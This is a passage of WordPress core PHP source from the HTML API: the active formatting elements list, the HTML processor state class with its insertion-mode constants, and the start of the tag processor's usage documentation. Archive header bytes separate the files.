 * > further elements can be created for that token if necessary.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#list-of-active-formatting-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Active_Formatting_Elements {
	/**
	 * Holds the stack of active formatting element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	private $stack = array();

	/**
	 * Reports if a specific node is in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of active formatting elements.
	 */
	public function contains_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $item ) {
			if ( $token->bookmark_name === $item->bookmark_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of active formatting elements.
	 */
	public function count() {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of active formatting elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of active formatting elements, if one exists, otherwise null.
	 */
	public function current_node() {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Inserts a "marker" at the end of the list of active formatting elements.
	 *
	 * > The markers are inserted when entering applet, object, marquee,
	 * > template, td, th, and caption elements, and are used to prevent
	 * > formatting from "leaking" into applet, object, marquee, template,
	 * > td, th, and caption elements.
	 *
	 * @see https://html.spec.whatwg.org/#concept-parser-marker
	 *
	 * @since 6.7.0
	 */
	public function insert_marker(): void {
		$this->push( new WP_HTML_Token( null, 'marker', false ) );
	}

	/**
	 * Pushes a node onto the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#push-onto-the-list-of-active-formatting-elements
	 *
	 * @param WP_HTML_Token $token Push this node onto the stack.
	 */
	public function push( WP_HTML_Token $token ) {
		/*
		 * > If there are already three elements in the list of active formatting elements after the last marker,
		 * > if any, or anywhere in the list if there are no markers, that have the same tag name, namespace, and
		 * > attributes as element, then remove the earliest such element from the list of active formatting
		 * > elements. For these purposes, the attributes must be compared as they were when the elements were
		 * > created by the parser; two elements have the same attributes if all their parsed attributes can be
		 * > paired such that the two attributes in each pair have identical names, namespaces, and values
		 * > (the order of the attributes does not matter).
		 *
		 * @todo Implement the "Noah's Ark clause" to only add up to three of any given kind of formatting elements to the stack.
		 */
		// > Add element to the list of active formatting elements.
		$this->stack[] = $token;
	}

	/**
	 * Removes a node from the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Remove this node from the stack, if it's there already.
	 * @return bool Whether the node was found and removed from the stack of active formatting elements.
	 */
	public function remove_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			return true;
		}

		return false;
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * top element (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Active_Formatting_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * bottom element (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Active_Formatting_Elements::walk_down().
	 *
	 * @since 6.4.0
	 */
	public function walk_up() {
		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Clears the list of active formatting elements up to the last marker.
	 *
	 * > When the steps below require the UA to clear the list of active formatting elements up to
	 * > the last marker, the UA must perform the following steps:
	 * >
	 * > 1. Let entry be the last (most recently added) entry in the list of active
	 * >    formatting elements.
	 * > 2. Remove entry from the list of active formatting elements.
	 * > 3. If entry was a marker, then stop the algorithm at this point.
	 * >    The list has been cleared up to the last marker.
	 * > 4. Go to step 1.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-list-of-active-formatting-elements-up-to-the-last-marker
	 *
	 * @since 6.7.0
	 */
	public function clear_up_to_last_marker(): void {
		foreach ( $this->walk_up() as $item ) {
			array_pop( $this->stack );
			if ( 'marker' === $item->node_name ) {
				break;
			}
		}
	}
}
PKYO\��lRG,G,!class-wp-html-processor-state.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Processor_State class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the internal parsing state.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Processor_State {
	/*
	 * Insertion mode constants.
	 *
	 * These constants exist and are named to make it easier to
	 * discover and recognize the supported insertion modes in
	 * the parser.
	 *
	 * Out of all the possible insertion modes, only those
	 * supported by the parser are listed here. As support
	 * is added to the parser for more modes, add them here
	 * following the same naming and value pattern.
	 *
	 * @see https://html.spec.whatwg.org/#the-insertion-mode
	 */

	/**
	 * Initial insertion mode for full HTML parser.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_INITIAL = 'insertion-mode-initial';

	/**
	 * Before HTML insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#the-before-html-insertion-mode
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_BEFORE_HTML = 'insertion-mode-before-html';

	/**
	 * Before head insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-beforehead
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_BEFORE_HEAD = 'insertion-mode-before-head';

	/**
	 * In head insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inhead
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_HEAD = 'insertion-mode-in-head';

	/**
	 * In head noscript insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inheadnoscript
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_HEAD_NOSCRIPT = 'insertion-mode-in-head-noscript';

	/**
	 * After head insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterhead
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_HEAD = 'insertion-mode-after-head';

	/**
	 * In body insertion mode for full HTML parser.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inbody
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_BODY = 'insertion-mode-in-body';

	/**
	 * In table insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intable
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_TABLE = 'insertion-mode-in-table';

	/**
	 * In table text insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intabletext
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_TABLE_TEXT = 'insertion-mode-in-table-text';

	/**
	 * In caption insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incaption
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_CAPTION = 'insertion-mode-in-caption';

	/**
	 * In column group insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incolumngroup
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_COLUMN_GROUP = 'insertion-mode-in-column-group';

	/**
	 * In table body insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intablebody
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_TABLE_BODY = 'insertion-mode-in-table-body';

	/**
	 * In row insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inrow
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_ROW = 'insertion-mode-in-row';

	/**
	 * In cell insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-incell
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_CELL = 'insertion-mode-in-cell';

	/**
	 * In select insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselect
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_SELECT = 'insertion-mode-in-select';

	/**
	 * In select in table insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inselectintable
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_SELECT_IN_TABLE = 'insertion-mode-in-select-in-table';

	/**
	 * In template insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intemplate
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_TEMPLATE = 'insertion-mode-in-template';

	/**
	 * After body insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterbody
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_BODY = 'insertion-mode-after-body';

	/**
	 * In frameset insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inframeset
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_IN_FRAMESET = 'insertion-mode-in-frameset';

	/**
	 * After frameset insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterframeset
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_FRAMESET = 'insertion-mode-after-frameset';

	/**
	 * After after body insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-body-insertion-mode
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_AFTER_BODY = 'insertion-mode-after-after-body';

	/**
	 * After after frameset insertion mode for full HTML parser.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-frameset-insertion-mode
	 * @see WP_HTML_Processor_State::$insertion_mode
	 *
	 * @var string
	 */
	const INSERTION_MODE_AFTER_AFTER_FRAMESET = 'insertion-mode-after-after-frameset';

	/**
	 * The stack of template insertion modes.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#the-insertion-mode:stack-of-template-insertion-modes
	 *
	 * @var array<string>
	 */
	public $stack_of_template_insertion_modes = array();

	/**
	 * Tracks open elements while scanning HTML.
	 *
	 * This property is initialized in the constructor and never null.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#stack-of-open-elements
	 *
	 * @var WP_HTML_Open_Elements
	 */
	public $stack_of_open_elements;

	/**
	 * Tracks open formatting elements, used to handle mis-nested formatting element tags.
	 *
	 * This property is initialized in the constructor and never null.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#list-of-active-formatting-elements
	 *
	 * @var WP_HTML_Active_Formatting_Elements
	 */
	public $active_formatting_elements;

	/**
	 * Refers to the currently-matched tag, if any.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token|null
	 */
	public $current_token = null;

	/**
	 * Tree construction insertion mode.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#insertion-mode
	 *
	 * @var string
	 */
	public $insertion_mode = self::INSERTION_MODE_INITIAL;

	/**
	 * Context node initializing fragment parser, if created as a fragment parser.
	 *
	 * @since 6.4.0
	 * @deprecated 6.8.0 WP_HTML_Processor tracks the context_node internally.
	 *
	 * @var null
	 */
	public $context_node = null;

	/**
	 * The recognized encoding of the input byte stream.
	 *
	 * > The stream of code points that comprises the input to the tokenization
	 * > stage will be initially seen by the user agent as a stream of bytes
	 * > (typically coming over the network or from the local file system).
	 * > The bytes encode the actual characters according to a particular character
	 * > encoding, which the user agent uses to decode the bytes into characters.
	 *
	 * @since 6.7.0
	 *
	 * @var string|null
	 */
	public $encoding = null;

	/**
	 * The parser's confidence in the input encoding.
	 *
	 * > When the HTML parser is decoding an input byte stream, it uses a character
	 * > encoding and a confidence. The confidence is either tentative, certain, or
	 * > irrelevant. The encoding used, and whether the confidence in that encoding
	 * > is tentative or certain, is used during the parsing to determine whether to
	 * > change the encoding. If no encoding is necessary, e.g. because the parser is
	 * > operating on a Unicode stream and doesn't have to use a character encoding
	 * > at all, then the confidence is irrelevant.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $encoding_confidence = 'tentative';

	/**
	 * HEAD element pointer.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#head-element-pointer
	 *
	 * @var WP_HTML_Token|null
	 */
	public $head_element = null;

	/**
	 * FORM element pointer.
	 *
	 * > points to the last form element that was opened and whose end tag has
	 * > not yet been seen. It is used to make form controls associate with
	 * > forms in the face of dramatically bad markup, for historical reasons.
	 * > It is ignored inside template elements.
	 *
	 * @todo This may be invalidated by a seek operation.
	 *
	 * @see https://html.spec.whatwg.org/#form-element-pointer
	 *
	 * @since 6.7.0
	 *
	 * @var WP_HTML_Token|null
	 */
	public $form_element = null;

	/**
	 * The frameset-ok flag indicates if a `FRAMESET` element is allowed in the current state.
	 *
	 * > The frameset-ok flag is set to "ok" when the parser is created. It is set to "not ok" after certain tokens are seen.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#frameset-ok-flag
	 *
	 * @var bool
	 */
	public $frameset_ok = true;

	/**
	 * Constructor - creates a new and empty state value.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor
	 */
	public function __construct() {
		$this->stack_of_open_elements     = new WP_HTML_Open_Elements();
		$this->active_formatting_elements = new WP_HTML_Active_Formatting_Elements();
	}
}
PKYO\��&r(N(Nclass-wp-html-tag-processor.phpnu�[���<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
